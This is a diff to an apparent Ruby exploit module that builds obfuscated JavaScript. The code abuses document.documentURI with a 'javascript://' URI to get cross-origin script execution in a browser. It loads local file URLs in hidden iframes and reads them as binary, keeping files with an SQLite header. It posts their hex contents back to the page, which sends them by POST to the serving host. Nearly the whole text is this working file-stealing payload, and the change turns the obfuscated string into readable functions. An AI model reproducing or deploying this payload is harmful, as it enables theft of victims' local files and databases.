@@ -110,32 +110,66 @@ def exploit_html
110
110
111
111
def exploit_js
112
112
js_obfuscate %Q|
113
-
114
113
window.onmessage = function(e) {
115
114
var x = new XMLHttpRequest;
116
115
x.open("POST", location.href);
117
116
x.send(JSON.stringify(e.data))
118
117
};
119
118
119
+
120
+ function xss() {
121
+ var urls = (#{ JSON . generate ( file_urls ) } );
122
+ function tick() {
123
+ setTimeout(function() { next(urls.shift()); });
124
+ };
125
+ window.onmessage = tick;
126
+
127
+ function next(url) {
128
+ if (!url) return;
129
+ try {
130
+ var f = document.createElement('iframe');
131
+ f.src = url;
132
+ f.onload = function() {
133
+ f.onload = null;
134
+ function nested() {
135
+ var x = new XMLHttpRequest;
136
+ x.open('GET', location.href);
137
+ x.responseType = 'arraybuffer';
138
+ x.send();
139
+ x.onload = function() {
140
+ var buff = new Uint8Array(x.response);
141
+ var hex = Array.prototype.map.call(buff, function(d) {
142
+ var c = d.toString(16);
143
+ return (c.length < 2) ? 0+c : c;
144
+ }).join(new String);
145
+ if (hex.length && hex.substring(0,8)==='53514c69') {
146
+ top.postMessage({data:hex,url:location.href}, '*');
147
+ }
148
+ parent.postMessage(1,'*');
149
+ };
150
+ x.onerror = function() {
151
+ parent.postMessage(1,'*');
152
+ };
153
+ }
154
+ document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
155
+ f.contentWindow.location = "";
156
+ };
157
+ document.body.appendChild(f);
158
+ } catch(e) {t();}
159
+ };
160
+
161
+ tick();
162
+
163
+ }
164
+
120
165
var brokenFrame = document.createElement('iframe');
121
166
brokenFrame.src = 'http://localhost:100';
122
- brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
167
+ // brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
123
168
brokenFrame.onload = function() {
124
169
brokenFrame.onload = null;
125
- document.documentURI = 'javascript://hostname.com/%0D%0Aurls=(#{ JSON . generate ( file_urls ) } );'+
126
- 'var t=function(){setTimeout(function(){next(urls.shift());},1)};window.onmessage=t;'+
127
- 'var next=(function(url){if(!url)return;try{var f = document.createElement("iframe");f.src=url;f.onload=f'+
128
- 'unction(){f.onload=null;document.documentURI="javascript://hostname.com/%250D%250Ax=new '+
129
- 'XMLHttpRequest;x.open(String.fromCharCode(71,69,84),location.href);x.responseType=String.fromCharCode(97,'+
130
- '114,114,97,121,98,117,102,102,101,114);x.send();x.onload=function(){window.onerror=alert;'+
131
- 'var buff = new Uint8Array(x.response);var hex = Array.prototype.map.call(buff, function(d)'+
132
- '{var c = d.toString(16);return (c.length < 2) ? 0+c : c;}).join(new String); top.postMessa'+
133
- 'ge({data:hex,url:location.href}, String.fromCharCode(42));'+
134
- 'parent.postMessage(1,String.fromCharCode(42));};x.onerror=function(){parent.postMessage(1,S'+
135
- 'tring.fromCharCode(42))};";f.contentWindow.location = "";};document.body.appendChild(f);}catch(e){t();}});t();';
170
+ document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
136
171
brokenFrame.contentWindow.location = "";
137
172
};
138
-
139
173
document.body.appendChild(brokenFrame);
140
174
|
141
175
end
0 commit comments